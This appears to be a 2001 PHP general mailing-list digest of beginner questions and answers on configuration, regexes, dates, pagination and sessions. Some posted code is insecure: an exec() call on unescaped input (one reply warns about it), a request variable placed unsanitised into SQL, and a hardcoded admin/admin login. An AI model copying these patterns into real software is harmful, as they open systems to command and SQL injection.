> System Linux pcs.pcsadvt.com 2.2.16-22 #1 Tue Aug 22 16:16:55 EDT 2000 > i586 unknown > Build Date Jul 20 2001 > Configure Command './configure' '--prefix=/usr' > '--with-config-file-path=/etc' '--disable-debug' '--enable-pic' > '--enable-inline-optimization' '--with-apxs=/usr/sbin/apxs' > '--disable-static' '--with-exec-dir=/usr/bin' '--with-regex=system' > '--with-gd' '--with-jpeg-dir=/usr' '--with-png' '--with-gdbm' > '--enable-debugger' '--enable-magic-quotes' '--enable-safe-mode' > '--enable-track-vars' '--enable-ftp' '--with-mysql' '--with-xml' > '--enable-trans-sid' '--with-sockets' '--with-readline' > Server API Apache > Virtual Directory Support disabled > Configuration File (php.ini) Path /etc > ZEND_DEBUG disabled > Thread Safety disabled > > I did a make install and restarted my httpd. Lets forget the > readline() what about sockets? Why does that not work?
Well, probably because ./configure --help says:
--enable-sockets Enable sockets support
And you used --with-sockets
-Rasmus
attached mail follows:
Hi,
It works now. I did a stupid mistake instead of putting --enable-sockets I put --with-sockets <g>
Adrian
On Sat, 21 Jul 2001, E. Peter K. Chan wrote:
> Hi
>
> Try going to the source directory ie where you unzipped the tarball for php.
> May as well upgrade to php4.0.6 - that could save you some problems now and
> later. Type in:
>
> # ./configure --help
>
> it says --with-readline[=DIR] so maybe you need to install readline first or
> point php to where it is? (FYI, I just installed 4.0.6 and it did not
> automatically install readline - I didn't include --with-readline in my
> options)
>
> if this doesn't help out then the only thing I can suggest is to start from
> scratch, but BACKUP first!
> See:
> http://www.devshed.com/Server_Side/PHP/SoothinglySeamless/page1.html
>
> It's an excellent tutorial on setting up mysql, php,apache and even openssl.
> And it works.
>
> Peter
>
>
> ----- Original Message -----
> From: "Adrian D'Costa" <adrian
pcsadvt.com>
> To: "E. Peter K. Chan" <heypeter
likehotcakes.com>
> Cc: "php general list" <php-general
lists.php.net>
> Sent: Saturday, July 21, 2001 4:48 PM
> Subject: Re: [PHP] php 4.0.6
>
>
> > Hi Peter,
> >
> > I think the guru of php on the list can tell us what the problem is. I am
> > going to compile 4.0.4pl2 and see if I get that error. In fact I am
> > unable to access mysql now even though I have given --with-mysql.
> >
> > Any clues
> >
> > Adrian
> >
> > On Fri, 20 Jul 2001, E. Peter K. Chan wrote:
> >
> > > Hi Adrian
> > >
> > > I just rebuilt my PHP to 4.0.6 and get a similar message with the bcmath
> > > functions. I don't have an answer for you at the moment. it may be the
> > > configure options selected. If you find out the answer please tell me
> and
> > > I'll do like wise.
> > >
> > > Peter
> > > ----- Original Message -----
> > > From: "Adrian D'Costa" <adrian
pcsadvt.com>
> > > To: "php general list" <php-general
lists.php.net>
> > > Sent: Thursday, July 19, 2001 7:12 PM
> > > Subject: [PHP] php 4.0.6
> > >
> > >
> > > > Hi,
> > > >
> > > > I am trying to use the socket or readline functions but get a message:
> > > > call to undefined function readline(). Why? Is this not implemented
> in
> > > > 4.0.6.
> > > >
> > > > Adrian
> > > >
> > > >
> > > > --
> > > > PHP General Mailing List (http://www.php.net/)
> > > > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > > > For additional commands, e-mail: php-general-help
lists.php.net
> > > > To contact the list administrators, e-mail:
> php-list-admin
lists.php.net
> > > >
> > > >
> > > >
> > >
> > >
> > >
> >
> >
> >
>
>
>
attached mail follows:
On Sat, 21 Jul 2001 06:32, Tyler Longren wrote: > $data = exec("host $lookup"); > printf("<pre>%s</pre>", $data); > > How can I format the output of that properly? > Sometimes, it's all on one line, and it's fine. > Other times, there's more than one line...like if there was an alias. > > Any way to format it like it is on the command line? > > Thanks, > Tyler
$data = exec("host $lookup", $ary); while(list(,$val) = each($ary)) { echo $val . '<BR>'; }
You need to assign the output of exec to an array if you want to capture multiple lines of output. Check the manual for more detail.
-- David Robley Techno-JoaT, Web Maintainer, Mail List Admin, etc CENTRE FOR INJURY STUDIES Flinders University, SOUTH AUSTRALIATry our NEW *SOLAR POWERED* tanning salon!
attached mail follows:
If $lookup is passed from the client, then you should be careful with that exec() call...
http://www.php.net/manual/en/ref.exec.php
Use one of the escape...() functions, perhaps?
-----Original Message-----
From: David Robley [mailto:huntsman
www.nisu.flinders.edu.au]
Sent: Monday, July 23, 2001 12:47 AM
To: Tyler Longren; php-general
Subject: Re: [PHP] formatting "host" output
On Sat, 21 Jul 2001 06:32, Tyler Longren wrote: > $data = exec("host $lookup"); > printf("<pre>%s</pre>", $data); > > How can I format the output of that properly? > Sometimes, it's all on one line, and it's fine. > Other times, there's more than one line...like if there was an alias. > > Any way to format it like it is on the command line? > > Thanks, > Tyler
$data = exec("host $lookup", $ary); while(list(,$val) = each($ary)) { echo $val . '<BR>'; }
You need to assign the output of exec to an array if you want to capture
multiple lines of output. Check the manual for more detail.
-- David Robley Techno-JoaT, Web Maintainer, Mail List Admin, etc CENTRE FOR INJURY STUDIES Flinders University, SOUTH AUSTRALIATry our NEW *SOLAR POWERED* tanning salon!
-- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net For additional commands, e-mail: php-general-help
lists.php.net To contact the list administrators, e-mail: php-list-admin
lists.php.net
attached mail follows:
hi all,
two quick reg exp problems:
one: $username must only contain a-z lowercase, 0-9, no spaces, no other characters. what would the regexp be?
if(ereg("????????????????", $username)) { $valid = "yes" } else { $valid = "no")
two:
i want to do a really small email validation, just to make sure the
email probably right, as in:
anything
anything.anything
what's the best reg exp to use.
i'm aware there are email validating script out there, but I want to learn for myself
many thanks in advance
justin french
attached mail follows:
Hi Justin,
for the username, you can use:
if (!preg_match("/^[a-z0-9]*$/", $username)) { // error } else { // ok }
The ^ means start of the string, the characters between the [ and ] are ones that we want, the * means however many times, and the $ means the end of the line / string. So if there isn't a match against lower case letters and numbers throughout the string (from start to finish), there's an error.
I'd advise you to go more complex with the email address.
James.
"Justin French" <justin
indent.com.au> wrote in message
news:3B5BA0FB.8FCF57DB
indent.com.au...
> hi all,
>
> two quick reg exp problems:
>
> one:
> $username must only contain a-z lowercase, 0-9, no spaces, no other
characters.
> what would the regexp be?
>
> if(ereg("????????????????", $username)) { $valid = "yes" } else { $valid
> = "no")
>
>
> two:
> i want to do a really small email validation, just to make sure the
> email probably right, as in:
> anything
anything.anything
>
> what's the best reg exp to use.
>
>
> i'm aware there are email validating script out there, but I want to
> learn for myself
>
>
>
> many thanks in advance
>
>
> justin french
attached mail follows:
when i use this script:
<?php session_start(); if ($op == "ds") { if (($username != "admin") ||($password != "admin")) { $msg = "<p><font color=\"#FF0000\"><strong>Bad Login - Try Again></strong></font></p>"; $show_form = "yes"; } else { session_register('valid'); $valid = "yes"; $show_menu = "yes"; } } else { if ($valid == "yes") { $show_menu = "yes"; } else { $show_form = "yes"; } }
$form_block = " <h1>Login</h1> <form method=post action=\"$PHP_SELF\">$msg <p> <strong>Login Name:</strong> <br> <input type=\"text\" name=\"username\" size =15 maxlength=25> </p> <p> <strong>Password:</strong> <br> <input type=\"password\" name=\"password\" size=15 maxlength=25> </p> <input type=\"hidden\" name=\"op\" value=\"ds\"> <br> <p> <input type=\"submit\" name=\"submit\" value=\"Login\"> </p> </form> ";
$menu_block = " <h1>Contact Administration System</h1> <p> <strong>Administration</strong> <ul> <li><a href=\"add_contact.php\">Add Contact</a> <li><a href=\"mod_contact.php\">Modify Contact</a> <li><a href=\"del_contact.php\">Delete Contact</a> </ul> <p> <strong>View Records</strong> <ul> <li><a href=\"show_contacts.php\">Show Contacts</a> </ul> "; if ($show_form == "yes") { $display_block = $form_block; } else if ($show_menu == "yes") { $display_block = $menu_block; } ?>
<html> <head> <title.My contact Management System</title> </head> <body> <p> <? echo "$display_block"; ?> </p> </body> </html>
i would get this error:
Warning: Undefined variable: op in c:\inetpub\wwwroot\xxxx.php on line 3
Warning: Undefined variable: valid in c:\inetpub\wwwroot\xxxx.php on line 13
Warning: Undefined variable: msg in c:\inetpub\wwwroot\xxxx.php on line 23
my variables are clearly defined in the script please help this is happening in all my scripts
win2000 iis 5 most recent php4 and mysql installed phpinfo.php = http://24.165.118.187/phpinfo.php
attached mail follows:
add to the top of the script
error_reporting(E_ALL & ~E_NOTICE);
----- Original Message -----
From: Virgil Claritt <vclaritt
mediaone.net>
To: <php-general
lists.php.net>
Sent: Monday, July 23, 2001 2:57 PM
Subject: [PHP] need help w/ variables
> when i use this script:
>
> <?php
> session_start();
> if ($op == "ds") {
> if (($username != "admin") ||($password != "admin")) {
> $msg = "<p><font color=\"#FF0000\"><strong>Bad Login - Try
> Again></strong></font></p>";
> $show_form = "yes";
> } else {
> session_register('valid');
> $valid = "yes";
> $show_menu = "yes";
> }
> } else {
> if ($valid == "yes") {
> $show_menu = "yes";
> } else {
> $show_form = "yes";
> }
> }
>
> $form_block = "
> <h1>Login</h1>
> <form method=post action=\"$PHP_SELF\">$msg
> <p>
> <strong>Login Name:</strong>
> <br>
> <input type=\"text\" name=\"username\" size =15 maxlength=25>
> </p>
> <p>
> <strong>Password:</strong>
> <br>
> <input type=\"password\" name=\"password\" size=15 maxlength=25>
> </p>
> <input type=\"hidden\" name=\"op\" value=\"ds\">
> <br>
> <p>
> <input type=\"submit\" name=\"submit\" value=\"Login\">
> </p>
> </form>
> ";
>
> $menu_block = "
> <h1>Contact Administration System</h1>
> <p>
> <strong>Administration</strong>
> <ul>
> <li><a href=\"add_contact.php\">Add Contact</a>
> <li><a href=\"mod_contact.php\">Modify Contact</a>
> <li><a href=\"del_contact.php\">Delete Contact</a>
> </ul>
> <p>
> <strong>View Records</strong>
> <ul>
> <li><a href=\"show_contacts.php\">Show Contacts</a>
> </ul>
> ";
> if ($show_form == "yes") {
> $display_block = $form_block;
> } else if ($show_menu == "yes") {
> $display_block = $menu_block;
> }
> ?>
>
> <html>
> <head>
> <title.My contact Management System</title>
> </head>
> <body>
> <p>
> <? echo "$display_block"; ?>
> </p>
> </body>
> </html>
>
>
> i would get this error:
>
> Warning: Undefined variable: op in c:\inetpub\wwwroot\xxxx.php on line 3
>
> Warning: Undefined variable: valid in c:\inetpub\wwwroot\xxxx.php on line
13
>
> Warning: Undefined variable: msg in c:\inetpub\wwwroot\xxxx.php on line 23
>
> my variables are clearly defined in the script
> please help this is happening in all my scripts
>
> win2000 iis 5
> most recent php4 and mysql installed
> phpinfo.php = http://24.165.118.187/phpinfo.php
>
>
>
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
attached mail follows:
i dont quite get it what your saying it is clearly defined at the top $op is equal to ds $valid is equal to yes $msg is equal to Bad Login
"Reductor" <sjdtmv
tpg.com.au> wrote in message
news:002701c11335$ac5dafe0$0200a8c0
ReDucTor...
> add to the top of the script
>
> error_reporting(E_ALL & ~E_NOTICE);
> ----- Original Message -----
> From: Virgil Claritt <vclaritt
mediaone.net>
> To: <php-general
lists.php.net>
> Sent: Monday, July 23, 2001 2:57 PM
> Subject: [PHP] need help w/ variables
>
>
> > when i use this script:
> >
> > <?php
> > session_start();
> > if ($op == "ds") {
> > if (($username != "admin") ||($password != "admin")) {
> > $msg = "<p><font color=\"#FF0000\"><strong>Bad Login - Try
> > Again></strong></font></p>";
> > $show_form = "yes";
> > } else {
> > session_register('valid');
> > $valid = "yes";
> > $show_menu = "yes";
> > }
> > } else {
> > if ($valid == "yes") {
> > $show_menu = "yes";
> > } else {
> > $show_form = "yes";
> > }
> > }
> >
> > $form_block = "
> > <h1>Login</h1>
> > <form method=post action=\"$PHP_SELF\">$msg
> > <p>
> > <strong>Login Name:</strong>
> > <br>
> > <input type=\"text\" name=\"username\" size =15 maxlength=25>
> > </p>
> > <p>
> > <strong>Password:</strong>
> > <br>
> > <input type=\"password\" name=\"password\" size=15 maxlength=25>
> > </p>
> > <input type=\"hidden\" name=\"op\" value=\"ds\">
> > <br>
> > <p>
> > <input type=\"submit\" name=\"submit\" value=\"Login\">
> > </p>
> > </form>
> > ";
> >
> > $menu_block = "
> > <h1>Contact Administration System</h1>
> > <p>
> > <strong>Administration</strong>
> > <ul>
> > <li><a href=\"add_contact.php\">Add Contact</a>
> > <li><a href=\"mod_contact.php\">Modify Contact</a>
> > <li><a href=\"del_contact.php\">Delete Contact</a>
> > </ul>
> > <p>
> > <strong>View Records</strong>
> > <ul>
> > <li><a href=\"show_contacts.php\">Show Contacts</a>
> > </ul>
> > ";
> > if ($show_form == "yes") {
> > $display_block = $form_block;
> > } else if ($show_menu == "yes") {
> > $display_block = $menu_block;
> > }
> > ?>
> >
> > <html>
> > <head>
> > <title.My contact Management System</title>
> > </head>
> > <body>
> > <p>
> > <? echo "$display_block"; ?>
> > </p>
> > </body>
> > </html>
> >
> >
> > i would get this error:
> >
> > Warning: Undefined variable: op in c:\inetpub\wwwroot\xxxx.php on line 3
> >
> > Warning: Undefined variable: valid in c:\inetpub\wwwroot\xxxx.php on
line
> 13
> >
> > Warning: Undefined variable: msg in c:\inetpub\wwwroot\xxxx.php on line
23
> >
> > my variables are clearly defined in the script
> > please help this is happening in all my scripts
> >
> > win2000 iis 5
> > most recent php4 and mysql installed
> > phpinfo.php = http://24.165.118.187/phpinfo.php
> >
> >
> >
> >
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > For additional commands, e-mail: php-general-help
lists.php.net
> > To contact the list administrators, e-mail: php-list-admin
lists.php.net
> >
>
attached mail follows:
did u try what i said???
----- Original Message -----
From: Virgil Claritt <vclaritt
mediaone.net>
To: <php-general
lists.php.net>
Sent: Monday, July 23, 2001 3:13 PM
Subject: Re: [PHP] need help w/ variables
> i dont quite get it what your saying
> it is clearly defined at the top
> $op is equal to ds
> $valid is equal to yes
> $msg is equal to Bad Login
>
>
> "Reductor" <sjdtmv
tpg.com.au> wrote in message
> news:002701c11335$ac5dafe0$0200a8c0
ReDucTor...
> > add to the top of the script
> >
> > error_reporting(E_ALL & ~E_NOTICE);
> > ----- Original Message -----
> > From: Virgil Claritt <vclaritt
mediaone.net>
> > To: <php-general
lists.php.net>
> > Sent: Monday, July 23, 2001 2:57 PM
> > Subject: [PHP] need help w/ variables
> >
> >
> > > when i use this script:
> > >
> > > <?php
> > > session_start();
> > > if ($op == "ds") {
> > > if (($username != "admin") ||($password != "admin")) {
> > > $msg = "<p><font color=\"#FF0000\"><strong>Bad Login - Try
> > > Again></strong></font></p>";
> > > $show_form = "yes";
> > > } else {
> > > session_register('valid');
> > > $valid = "yes";
> > > $show_menu = "yes";
> > > }
> > > } else {
> > > if ($valid == "yes") {
> > > $show_menu = "yes";
> > > } else {
> > > $show_form = "yes";
> > > }
> > > }
> > >
> > > $form_block = "
> > > <h1>Login</h1>
> > > <form method=post action=\"$PHP_SELF\">$msg
> > > <p>
> > > <strong>Login Name:</strong>
> > > <br>
> > > <input type=\"text\" name=\"username\" size =15 maxlength=25>
> > > </p>
> > > <p>
> > > <strong>Password:</strong>
> > > <br>
> > > <input type=\"password\" name=\"password\" size=15 maxlength=25>
> > > </p>
> > > <input type=\"hidden\" name=\"op\" value=\"ds\">
> > > <br>
> > > <p>
> > > <input type=\"submit\" name=\"submit\" value=\"Login\">
> > > </p>
> > > </form>
> > > ";
> > >
> > > $menu_block = "
> > > <h1>Contact Administration System</h1>
> > > <p>
> > > <strong>Administration</strong>
> > > <ul>
> > > <li><a href=\"add_contact.php\">Add Contact</a>
> > > <li><a href=\"mod_contact.php\">Modify Contact</a>
> > > <li><a href=\"del_contact.php\">Delete Contact</a>
> > > </ul>
> > > <p>
> > > <strong>View Records</strong>
> > > <ul>
> > > <li><a href=\"show_contacts.php\">Show Contacts</a>
> > > </ul>
> > > ";
> > > if ($show_form == "yes") {
> > > $display_block = $form_block;
> > > } else if ($show_menu == "yes") {
> > > $display_block = $menu_block;
> > > }
> > > ?>
> > >
> > > <html>
> > > <head>
> > > <title.My contact Management System</title>
> > > </head>
> > > <body>
> > > <p>
> > > <? echo "$display_block"; ?>
> > > </p>
> > > </body>
> > > </html>
> > >
> > >
> > > i would get this error:
> > >
> > > Warning: Undefined variable: op in c:\inetpub\wwwroot\xxxx.php on line
3
> > >
> > > Warning: Undefined variable: valid in c:\inetpub\wwwroot\xxxx.php on
> line
> > 13
> > >
> > > Warning: Undefined variable: msg in c:\inetpub\wwwroot\xxxx.php on
line
> 23
> > >
> > > my variables are clearly defined in the script
> > > please help this is happening in all my scripts
> > >
> > > win2000 iis 5
> > > most recent php4 and mysql installed
> > > phpinfo.php = http://24.165.118.187/phpinfo.php
> > >
> > >
> > >
> > >
> > >
> > > --
> > > PHP General Mailing List (http://www.php.net/)
> > > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > > For additional commands, e-mail: php-general-help
lists.php.net
> > > To contact the list administrators, e-mail:
php-list-admin
lists.php.net
> > >
> >
>
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
attached mail follows:
On Mon, 23 Jul 2001, Virgil Claritt wrote:
> i dont quite get it what your saying
> it is clearly defined at the top
> $op is equal to ds
> $valid is equal to yes
> $msg is equal to Bad Login
>
>
> "Reductor" <sjdtmv
tpg.com.au> wrote in message
> news:002701c11335$ac5dafe0$0200a8c0
ReDucTor...
> > add to the top of the script
> >
> > error_reporting(E_ALL & ~E_NOTICE);
> > ----- Original Message -----
> > From: Virgil Claritt <vclaritt
mediaone.net>
> > To: <php-general
lists.php.net>
> > Sent: Monday, July 23, 2001 2:57 PM
> > Subject: [PHP] need help w/ variables
> >
> >
> > > when i use this script:
> > >
> > > <?php
> > > session_start();
> > > if ($op == "ds") {
== means "is equal?": if(1 == 1){ echo "true"; }
= sets a value: $a = 1;
He is suggesting to lower your error reporting so undeclaired variable sdo not produce errors. Another solution is to not call variables that have no value, or use isset() to check.
-- ----------------------------------------------------------------------- destiney - (des-ti-ny) - n. 1. deity of all things "html", 2. common internet addict, 3. lover of late 80's heavy metal music, 4. Activist for the terminally un-elite; see also - cool guy, des, mr. php...It's 4:00am, your web site is still up, why are you? http://destiney.com/ -----------------------------------------------------------------------
attached mail follows:
it was my error reporting along i copied that script dtraight from the text book so i knew it wasnt the variables themselves
attached mail follows:
yep, thought so :D
----- Original Message -----
From: Virgil Claritt <vclaritt
mediaone.net>
To: <php-general
lists.php.net>
Sent: Monday, July 23, 2001 3:47 PM
Subject: [PHP] Re: need help w/ variables
> it was my error reporting along i copied that script dtraight from the
> text book so i knew it wasnt the variables themselves
>
>
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
attached mail follows:
Ah! But never forget...the code in some books have bugs too.
Van
At 12:47 AM 7/23/01, you wrote: >it was my error reporting along i copied that script dtraight from the >text book so i knew it wasnt the variables themselves
attached mail follows:
that error is because the php error checking had been changed from the
default...but still some do have problems... :D
----- Original Message -----
From: Van Tate Jr. <version2
telocity.com>
To: <php-general
lists.php.net>
Sent: Monday, July 23, 2001 5:01 PM
Subject: Re: [PHP] Re: need help w/ variables
> Ah! But never forget...the code in some books have bugs too.
>
> Van
>
> At 12:47 AM 7/23/01, you wrote:
> >it was my error reporting along i copied that script dtraight from the
> >text book so i knew it wasnt the variables themselves
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
attached mail follows:
Dear all,
I want to set up an online forum by using PHP. But I don't have a clue. Could somebody kind enough tell me where to start?
thanks in advance.
attached mail follows:
This is my suggestion
Start with making your user management...setup design and layout management,
then do the browsing, then your viewing, then different catagories, then do
other little bits...
----- Original Message -----
From: Jason Wang <jason
himagroup.com.au>
To: <php-general
lists.php.net>
Sent: Monday, July 23, 2001 5:05 PM
Subject: [PHP] question about forum
> Dear all,
>
> I want to set up an online forum by using PHP.
> But I don't have a clue.
> Could somebody kind enough tell me where to start?
>
> thanks in advance.
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
attached mail follows:
have a look at other people's codes. you can start by looking at my forum, which is pretty simple to install and work with : http://www.wde.org/me/php/
/sunny
-----Original Message-----
From: Jason Wang [mailto:jason
himagroup.com.au]
Sent: 23 July 2001 08:06
To: php-general
lists.php.net
Subject: [PHP] question about forum
Dear all,
I want to set up an online forum by using PHP. But I don't have a clue. Could somebody kind enough tell me where to start?
thanks in advance.
-- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: php-general-unsubscribelists.php.net For additional commands, e-mail: php-general-help
lists.php.net To contact the list administrators, e-mail: php-list-admin
lists.php.net
attached mail follows:
Sure u will like this website!!! It can send SMS message to any handphone in MALAYSIA, include 016,012,013,017,019...Good leh.....
*** GOOD THINGS WE SHARE TOGEHTER! ****
__________________________________________________ Do You Yahoo!? Make international calls for as low as $.04/minute with Yahoo! Messenger http://phonecard.yahoo.com/
attached mail follows:
Hi, how can I destroy an object created with "new" ?
Thanks, Rosen
attached mail follows:
Hi again all,
I recompiled apache with modssl and it works.
(Well the snake oil inc cert's work ;)
But i get a warning on apache load about, loading a standard module (php4.so) and how this may crash becasue it isn't compiled to work with EAPI. Please comile with -DEAPI
Now the question is, do i need to worry about this ?
I just did a quick recompile of PHP but didn't change the config at all.
Hence no -DEAPI.
Jason
attached mail follows:
When?!?
attached mail follows:
Hi, how do i check that the current date is the end of month ? thanks in advance
attached mail follows:
hi, how do i check that the current date is the end of month
Thanks in Advance
attached mail follows:
$todaydate = date("m");
$tomorrowdate = date("m",time() + 86400);
if($todaydate != $tomorrowdate){
echo "Tomorrow is a new month";
}
----- Original Message -----
From: Yamin Prabudy <phplist
pro.net.id>
To: <php-general
lists.php.net>
Sent: Monday, July 23, 2001 5:27 PM
Subject: [PHP] date HELP !!!!!
> hi,
> how do i check that the current date is the end of month
>
> Thanks in Advance
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
attached mail follows:
Hello Yamin,
Monday, July 23, 2001, 9:27:46 AM, you wrote:
YP> hi, YP> how do i check that the current date is the end of month
YP> Thanks in Advance
If you want to check how long is current month and use this value later you can use this:
$month=("m"); //can be like this depend on if you scrolling between moths. If yes variable $month must be recieved from link.
$d=27; while ($d <= 32) { $mon = date("m",mktime(0,0,0,$month,$d,$rok)); if ($month != $mon) { $daylast = $d-1; $d=33; } else { $d++; } }
I hope it helps.
-- Best regards, Daniel mailto:danielrezny.sk
attached mail follows:
sjdtmv
tpg.com.au (Reductor) wrote:
> $todaydate = date("m"); > $tomorrowdate = date("m",time() + 86400); > if($todaydate != $tomorrowdate){ > echo "Tomorrow is a new month"; >}
or
if (date("d") == date("j")) echo "last day";
or something else :)
> ----- Original Message -----
> From: Yamin Prabudy <phplist
pro.net.id>
> To: <php-general
lists.php.net>
> Sent: Monday, July 23, 2001 5:27 PM
> Subject: [PHP] date HELP !!!!!
>
>> hi,
>> how do i check that the current date is the end of month
>>
>> Thanks in Advance
>>
>>
>> --
>> PHP General Mailing List (http://www.php.net/)
>> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
>> For additional commands, e-mail: php-general-help
lists.php.net
>> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>>
-- Henrik Hansen
attached mail follows:
Better still, use the date("t"); to find out how many days are in the given month. This part of the date function is a blessing, given the varying days in months, and the fact that we've a leap year every four years.
James
"Daniel Rezny" <daniel
rezny.sk> wrote in message
news:1005096518.20010723095203
rezny.sk...
> Hello Yamin,
>
> Monday, July 23, 2001, 9:27:46 AM, you wrote:
>
> YP> hi,
> YP> how do i check that the current date is the end of month
>
> YP> Thanks in Advance
>
>
> If you want to check how long is current month and use this value
> later you can use this:
>
> $month=("m"); //can be like this depend on if you scrolling between
> moths. If yes variable $month must be recieved from link.
>
> $d=27;
> while ($d <= 32) {
> $mon = date("m",mktime(0,0,0,$month,$d,$rok));
> if ($month != $mon) {
> $daylast = $d-1; $d=33;
> }
> else {
> $d++;
> }
> }
>
> I hope it helps.
> --
> Best regards,
> Daniel mailto:daniel
rezny.sk
>
attached mail follows:
Hi there I would like to generate numbers (random) like a credit card number and can be check is the number valid or not how can i do that......
yamin prabudy
attached mail follows:
Ive got an image gallery, and rather than having one really long page of thumbnails, I'd like to have around 25 thumbnails (5 rows of 5 thumbs) per page. Can you guys point me in the right direction??
Steph
attached mail follows:
Message-ID: <20010723085947.9922.qmail
pb1.pair.com>
To: php-general
lists.php.net
Reply-To: "James Holloway" <james
towntalk.co.uk>
From: "James Holloway" <james
towntalk.co.uk>
Date: Mon, 23 Jul 2001 10:04:10 +0100
Subject: Re: limit items per page
Hi Steph,
as the name suggests, use LIMIT ;)
Ie,
SELECT * FROM TABLE LIMIT 0,25
The 0 (or other number) is optional, and tells the table which row to start limiting from, the secon number is the number of rows to limit to.. So:
SELECT * FROM TABLE LIMIT 25,25
Would bring out 25 rows, starting from row 25 (rows 25 to 50). See the documentation at the mysql site for more info.
Cheers, James.
"Steph" <steph
goamerica.net> wrote in message
news:001701c11354$db6b2fa0$ab8d7a3f
vaio...
Ive got an image gallery, and rather than having one really long page of
thumbnails, I'd like to have around 25 thumbnails (5 rows of 5 thumbs) per
page. Can you guys point me in the right direction??
Steph
attached mail follows:
What sort of database do you have, and what is your current source?!?
----- Original Message -----
From: Steph <steph
goamerica.net>
To: <php-general
lists.php.net>
Sent: Monday, July 23, 2001 6:52 PM
Subject: [PHP] limit items per page
Ive got an image gallery, and rather than having one really long page of thumbnails, I'd like to have around 25 thumbnails (5 rows of 5 thumbs) per page. Can you guys point me in the right direction??
Steph
attached mail follows:
james
towntalk.co.uk (James Holloway) wrote:
> Hi Steph, > > as the name suggests, use LIMIT ;)
AFAIK it's mysql specific (at least it does not work with mssql)
-- Henrik Hansen
attached mail follows:
Perhaps I shouldn't have made the assumption that steph was using mysql :)
"Henrik Hansen" <hh
mailserver.dk> wrote in message
news:u66ckhuoc.fsf
mailserver.dk...
> james
towntalk.co.uk (James Holloway) wrote:
>
> > Hi Steph,
> >
> > as the name suggests, use LIMIT ;)
>
> AFAIK it's mysql specific (at least it does not work with mssql)
>
> --
> Henrik Hansen
attached mail follows:
Here's a Quick & Dirty script that I ran up to get a display of 10 items per page with each click on a hyper-linked page returning a new page .. if you know what I mean. I've even included the headers so that any newbies can see the complete script and not just bits. The theory is that the first sql statement goes and gets the total number of rows for the display. This is then held in a global variable. The second query goes and gets the rows limited by an incrementing number. Simple, huh!
<? include("radius.inc"); radius_db_connect(); define ("INITIAL_PAGE",0); $sql="select distinct username from user"; $res=mysql_query($sql) or die ("OK");; $num_rows=mysql_num_rows($res); $j=1; $i=0; function initial_page(){ global $PHP_SELF, $num_rows, $i,$j, $n; $sql="select distinct username from user limit $n, 10"; $res=mysql_query($sql); while($row=mysql_fetch_array($res)){ print $row["username"]."<br>"; } $k=0; while($i <= $num_rows){ print "<a href = '$PHP_SELF?action=0&n=$i'> [$k] </a>\n"; $k++; $i+=10; } } switch($action){ case INITIAL_PAGE: initial_page(); break; default: die ("Could not find function number $action"); } ?>
On Mon, 23 Jul 2001 21:25, you wrote:
> Perhaps I shouldn't have made the assumption that steph was using mysql :)
>
> "Henrik Hansen" <hh
mailserver.dk> wrote in message
> news:u66ckhuoc.fsf
mailserver.dk...
>
> > james
towntalk.co.uk (James Holloway) wrote:
> > > Hi Steph,
> > >
> > > as the name suggests, use LIMIT ;)
> >
> > AFAIK it's mysql specific (at least it does not work with mssql)
> >
> > --
> > Henrik Hansen
attached mail follows:
> thinking it may be easier to parse for only allowed characters.
*much* better idea. Try:
preg_match('/[^\w]/', $string)
to find all non-alphanumeric+underscore
attached mail follows:
anybody know about the Luhn algorithm ?? how can i do that in php
yamin
attached mail follows:
yamin
pro.net.id (Yamin Prabudy) wrote:
> anybody know about the Luhn algorithm ?? > how can i do that in php
google is your friend
http://px.sklar.com/code-pretty.html?code_id=234 http://perl.about.com/library/weekly/aa073000a.htm http://www.phpbuilder.com/mail/php3-list/199807/2939.php
and many more
-- Henrik Hansen
attached mail follows:
Some help please...
I am creating a select list from a database, and I am trying to hold the value of what has been selected by a user, while I do some error checking. It is searching a mysql db to pull out the list. It will then need to pass values back into the database. The code I am using is this...
<? echo "<select name=\"FIELDNAME\">"; print "<option value=\"\">Select</option>"; for ($index = 0; $index < mysql_num_rows($query); $index++) { $row = mysql_fetch_row ($query) or die (mysql_error()); print "<option value=$row[1]>$row[1]</option>"; } echo "</select>"; ?>
If there is an easier way, let me know....
Mark
attached mail follows:
Hi all, I need store all the userid's connected to my site, in a database. the database, if the user has closed his browser a php script will check after intervals of a few minutes, if the user is not logged in, then changed relating to that user, will be undone. my quesiotns are ,
1) how do i get a user's ID. 2) what sort of check do i put to see if the variable is destroyed or not.
thanx in advance
-- Saquib FarooqSystems
SDNPK Islamabad
attached mail follows:
Try Sessions, bud. That's what they're there for.
